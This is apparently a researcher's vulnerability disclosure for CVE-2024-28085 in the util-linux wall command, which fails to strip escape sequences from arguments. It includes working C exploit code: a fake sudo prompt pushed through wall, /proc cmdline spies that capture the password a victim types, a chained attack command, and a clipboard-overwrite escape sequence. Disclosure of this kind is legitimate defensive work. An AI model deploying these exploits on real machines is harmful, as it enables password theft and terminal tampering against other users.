wall_2_27_2024.txt

Wall-Escape (CVE-2024-28085)

Skyler Ferrante: Improper neutralization of escape sequences in wall

========================================================================
Summary
========================================================================

The util-linux wall command does not filter escape sequences from 
command line arguments. The vulnerable code was introduced in commit
cdd3cc7fa4 (2013). Every version since has been vulnerable.

This allows unprivileged users to put arbitrary text on other users 
terminals, if mesg is set to y and wall is setgid. CentOS is not
vulnerable since wall is not setgid. On Ubuntu 22.04 and Debian
Bookworm, wall is both setgid and mesg is set to y by default.

If a system runs a command when commands are not found, with the unknown
command as an argument, the unknown command will be leaked. This is
true of Ubuntu 22.04 and not Debian Bookworm.

On Ubuntu 22.04, we have enough control to leak a users password by
default. The only indication of attack to the user will be an incorrect
password prompt when they correctly type their password, along with
their password being in their command history.

On other systems that allow wall messages to be sent, an attacker may
be able to alter the clipboard of a victim. This works on 
windows-terminal, but not on gnome-terminal.

========================================================================
Analysis
========================================================================

When displaying inputs from stdin, wall uses the function fputs_careful
in order to neutralize escape characters.

Unfortunately, wall does not do the same for input coming from argv.

term-utils/wall.c (note that mvec is argv)
```

/*
* Read message from argv[]
*/
int i;

for (i = 0; i < mvecsz; i++) {
  fputs(mvec[i], fs);
  if (i < mvecsz - 1)
	  fputc(' ', fs);
}
fputs("\r\n", fs);
 (note that mvec is argv)
...

/*
 * Read message from stdin.
 */
while (getline(&lbuf, &lbuflen, stdin) >= 0)
        fputs_careful(lbuf, fs, '^', true, TERM_WIDTH);

```

Since argv is attacker controlled, and can contain binary data, this is
exploitable. A simple PoC command:

	wall $(printf "\033[33mHI")

If you are vulnerable, this should show a broadcast with "HI" being
yellow. If we instead run:

	echo $(printf "\033[33mHI") | wall

This should fail with "^[[33m" showing up before our message.

To make sure the PoC will work, make sure your victim user can actually
receive messages. First check that mesg is set to y (`mesg y`). If a
user does not have mesg turned on, they are not exploitable.

If you still can't receive messages, try running `su current_user` or
accessing the machine through SSH. Note that just because you can't
receive messages without first going through su/SSH, does not mean a
user is not vulnerable.

========================================================================
Exploitation
========================================================================

Most distros allow argument data to be seen by unprivileged users, and
some distros run commands when commands are not found. We can use this
to leak a users password by tricking them into giving their password as
a command to run.

When I run the command xsnow in my terminal, I get the following output:
```
Command 'xsnow' not found, but can be installed with:
sudo apt install xsnow
```

Lets look at what new processes are created when I do this:
```
-bash
/usr/bin/python3 /usr/lib/command-not-found -- xsnow
/usr/bin/snap advise-snap --format=json --command xsnow
```

This is on Ubuntu, but similar commands exist on other systems.

As a simple demonstration let's create a fake sudo prompt for
gnome-terminal, and then spy on /proc/$pid/cmdline.

fake sudo prompt:
```
#include<stdio.h>
#include<unistd.h>

int main(){
	char* argv[] = {"prog",
		"\033[3A" // Move up 3
		"\033[K"  // Delete prompt
		"[sudo] password for a_user:"
		"\033[?25l"
		// Set forground RGB (48,10,36)
		// 	hide typing
		"\033[38;2;48;10;36m",
	NULL};

	char* envp[] = {NULL};

	execve("/usr/bin/wall", argv, envp);
}
```

cmdline spy:
```
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<ctype.h>
#include<stdlib.h>
#include<dirent.h>
#include<time.h>

#define USLEEP_TIME 2000

int main(){
        pid_t current_max_pid = 0, next_max_pid;
        char current_file_name[BUFSIZ];
        char buf[BUFSIZ];

        DIR* proc_dir;
        struct dirent *dir_e;
        int curr_e_fp;

        while(1){
                proc_dir = opendir("/proc");
                if(!proc_dir)
                        abort();

                usleep(USLEEP_TIME);
                while((dir_e = readdir(proc_dir)) != NULL){
                        char* d_name = dir_e->d_name;

                        // If not a digit (not a process folder)
                        if(!isdigit(*d_name))
                                continue;

                        int num = atoi(d_name);

                        if(num > current_max_pid){
                                next_max_pid = num;
                        }else{
                                continue;
                        }

                        snprintf(current_file_name, sizeof(current_file_name), "%s%s%s", "/proc/", d_name, "/cmdline");
			curr_e_fp = open(current_file_name, O_RDONLY);
                        int ra = read(curr_e_fp, buf, BUFSIZ-1);
                        close(curr_e_fp);

                        for(int i = 0; i<ra-1; i++)
                                if(buf[i] == '\0') buf[i] = ' ';

                        // guaranteed to be in-bounds
                        buf[ra-1] = '\n';

                        write(1, buf, ra);
                }
                current_max_pid = next_max_pid;
                closedir(proc_dir);
        }
}
```

If we run the cmdline spy and the sudo password prompt, the user may
input their password as a command. It will look like the following on
Ubuntu:

```
-bash
/usr/bin/python3 /usr/lib/command-not-found -- SuperSecretPassword!
/usr/bin/snap advise-snap --format=json --command SuperSecretPassword!
```

Some distros, like Debian, do not seem to have a command like
command-not-found by default. There does not seem to be a way to leak
a users password in this case then, even though we can send escape
escape sequences to them.

But the user has no reason to expect a password page at this point. Now
that we have shown some exploitability, lets try and make it better.

Imagine we run the cmdline spy in one terminal, and then in another
terminal we run `sudo systemctl status cron.service`. The spy will see
the sudo process first, and then after the user types their password 
correctly they will see `systemctl status cron.service`.

```
sudo systemctl status cron.service
systemctl status cron.service
```

An attacker could inject a password incorrect message as soon as the
second process starts (password correct). The user will assume they
typed their password incorrectly and enter it again.

watch for certain command
```
#include<stdio.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<unistd.h>
#include<ctype.h>
#include<stdlib.h>
#include<dirent.h>
#include<time.h>
#include<string.h>

#define USLEEP_TIME 3000

int main(int argc, char** argv){
        pid_t current_max_pid = 0, next_max_pid;
        char current_file_name[BUFSIZ];
        char buf[BUFSIZ];

        DIR* proc_dir;
        struct dirent *dir_e;
        int curr_e_fp;

	if(argc != 2){
		printf("Usage: prog search_string\n");
		return 1;
	}

        while(1){
		proc_dir = opendir("/proc");
		if(!proc_dir)
			abort();
                usleep(USLEEP_TIME);
                while((dir_e = readdir(proc_dir)) != NULL){
                        char* d_name = dir_e->d_name;

                        // If not a digit (not a process folder)
                        if(!isdigit(*d_name))
                                continue;

                        snprintf(current_file_name, sizeof(current_file_name), "%s%s%s", "/proc/", d_name, "/cmdline");
                        curr_e_fp = open(current_file_name, O_RDONLY);
                        int ra = read(curr_e_fp, buf, BUFSIZ-1);
                        close(curr_e_fp);

                        for(int i = 0; i<ra-1; i++)
                                if(buf[i] == '\0') buf[i] = ' ';

                        // guaranteed to be in-bounds
                        buf[ra-1] = '\0';

			// Check if proces is us
			if(strstr(buf, argv[0])){
				continue;
			}
			// Check against search string
			if(!strcmp(buf, argv[1])){
                        	write(1, buf, ra);
				write(1, "\n", 1);
				return 0;
			}
                }
		closedir(proc_dir);
        }
}
```

Imagine our new spy code was compiled as watch, and our wall exploit was
called throw.

We can now run:
```
./watch "sudo systemctl start sshd"; ./watch "systemctl start sshd"; sleep .1; ./throw
```

The first two commands will wait until the user runs

	sudo systemctl start sshd

and correctly types their password for sudo. Then our wall exploit
sends our fake sudo prompt. We need to sleep for a short duration to
make sure we cover up the command prompt.

During this process, we need to make sure our original spy code
is logging all cmdline arguments, to recover the victims password.

Example log from original spy:
```
./watch sudo systemctl start sshd
sudo systemctl start sshd
./watch systemctl start sshd
systemctl start sshd
bash
./throw
bash
/usr/bin/python3 /usr/lib/command-not-found -- SuperStrongPassword
/usr/bin/snap advise-snap --format=json --command SuperStrongPassword
```

Now lets imagine a different style of attack. An attacker can change a
users clipboard through escape sequences on some terminals. For
example, windows-terminal supports this. Gnome-terminal does not.

```
#include<stdio.h>

int main(){
        printf("\033]52;c;QXR0YWNrZXIgbWVzc2FnZQo=\a");
}
```

Since we can send escape sequences through wall, if a user is using
a terminal that supports this escape sequence, an attacker can change
the victims clipboard to arbitrary text.